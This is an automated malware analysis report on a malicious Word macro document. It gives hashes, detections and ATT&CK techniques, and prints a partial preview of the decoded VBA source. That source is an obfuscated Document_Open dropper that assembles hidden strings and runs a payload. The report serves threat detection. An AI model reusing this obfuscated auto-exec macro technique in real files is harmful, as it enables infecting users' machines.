Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f2f573af0f76fe0f…

MALICIOUS

Office (OLE)

1.60 MB Created: 2018-09-05 21:28:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: a9ec30226c83ba6d7abb8d2011cdae14 SHA-1: faf580608b76a47bcf181ec44bb36d637112d3fa SHA-256: f2f573af0f76fe0f21bbe630a4bb50b1c1836eb24429bfb8c93673276f27e374
264 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1140 Deobfuscate/Decode Files or Information

The sample contains VBA macros, including a Document_Open auto-execution macro, and uses CreateObject and GetObject calls, indicating malicious intent. The document body presents a lure to enable macros, which is a common tactic for malware droppers. The VBA code appears to deobfuscate and execute a payload, likely downloading a second-stage artifact.

Heuristics 9

  • ClamAV: Doc.Malware.Valyria-10015839-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10015839-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 50777 bytes
SHA-256: 4e890d2d01823cade431e939e9125dc417f31cbf33d8baf8a5a9efb32befaa60
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 27 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"

Option Explicit
Sub Document_Open()
    On Error Resume Next


    Dim awr, dGG, yIz As String
    awr = Module2.aEV(Module3.sME)
    dGG = Module2.aEV(Module4.hDG)
    yIz = Module2.aEV(Module5.bWP)


    Dim BXd As String
    BXd = Module11.kMl(Module10.nSl(227, 176))
    BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(69, 38)))
    BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(178, 192)))
    BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(164, 205)))
    BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(240, 128)))
    BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(41, 93)))
    BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(164, 205)))
    BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(246, 152)))
    BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(239, 136)))
    BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(135, 169)))
    BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(29, 91)))
    BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(164, 205)))
    BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(15, 99)))
    BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(229, 128)))
    BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(227, 176)))
    BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(26, 99)))
    BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(41, 90)))
    BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(41, 93)))
    BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(229, 128)))
    BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(7, 106)))
    BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(244, 187)))
    BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(90, 56)))
    BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(117, 31)))
    BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(229, 128)))
    BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(69, 38)))
    BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(41, 93)))

    Dim IlH As String
   IlH = awr
    Dim xoC As String
   xoC = ""
    xoC = hYw(xoC, Module11.kMl(Module10.nSl(87, 20)))
xoC = hYw(xoC, Module11.kMl(Module10.nSl(179, 137)))
xoC = hYw(xoC, "\")
xoC = hYw(xoC, Module11.kMl(Module10.nSl(38, 118)))
xoC = hYw(xoC, Module11.kMl(Module10.nSl(178, 192)))
xoC = hYw(xoC, Module11.kMl(Module10.nSl(227, 140)))
xoC = hYw(xoC, Module11.kMl(Module10.nSl(239, 136)))
xoC = hYw(xoC, Module11.kMl(Module10.nSl(178, 192)))
xoC = hYw(xoC, Module11.kMl(Module10.nSl(111, 14)))
xoC = hYw(xoC, Module11.kMl(Module10.nSl(7, 106)))
xoC = hYw(xoC, Module11.kMl(Module10.nSl(121, 61)))
xoC = hYw(xoC, Module11.kMl(Module10.nSl(111, 14)))
xoC = hYw(xoC, Module11.kMl(Module10.nSl(41, 93)))
xoC = hYw(xoC, Module11.kMl(Module10.nSl(111, 14)))
xoC = hYw(xoC, "\")
xoC = hYw(xoC, Module11.kMl(Module10.nSl(244, 187)))
xoC = hYw(xoC, Module11.kMl(Module10.nSl(248, 158)))
xoC = hYw(xoC, Module11.kMl(Module10.nSl(248, 158)))
xoC = hYw(xoC, Module11.kMl(Module10.nSl(164, 205)))
xoC = hYw(xoC, Module11.kMl(Module10.nSl(69, 38)))
xoC = hYw(xoC, Module11.kMl(Module10.nSl(229, 128)))
xoC = hYw(xoC, Module11.kMl(Module10.nSl(227, 176)))
xoC = hYw(xoC, Module11.kMl(Module10.nSl(229, 128)))
xoC = hYw(xoC, Module11.kMl(Module10.nSl(178, 192)))
xoC = hYw(xoC, Module11.kMl(Module10.nSl(120, 14)))
xoC = hYw(xoC, Module11.kMl(Module10.nSl(164, 205)))
xoC = hYw(xoC, Module11.kMl(Module10.nSl(69, 38)))
xoC = hYw(xoC, Module11.kMl(Module10.nSl(229, 128)))
xoC = hYw(xoC, Module11.kMl(Module10.nSl(135, 169)))
xoC = hYw(xoC, Module11.kMl(Module10.nSl(164, 205)))
xoC = hYw(xoC, Module11.kMl(Module10.nSl(246, 152)))
xoC = hYw(xoC, Module11.kMl(Module10.nSl(164, 205)))

    Module1.ydr xoC, IlH, BXd

    Dim Xjc As String
   Xjc = ""
    Xjc = hYw(Xjc, Module11.kMl(Module10.nS
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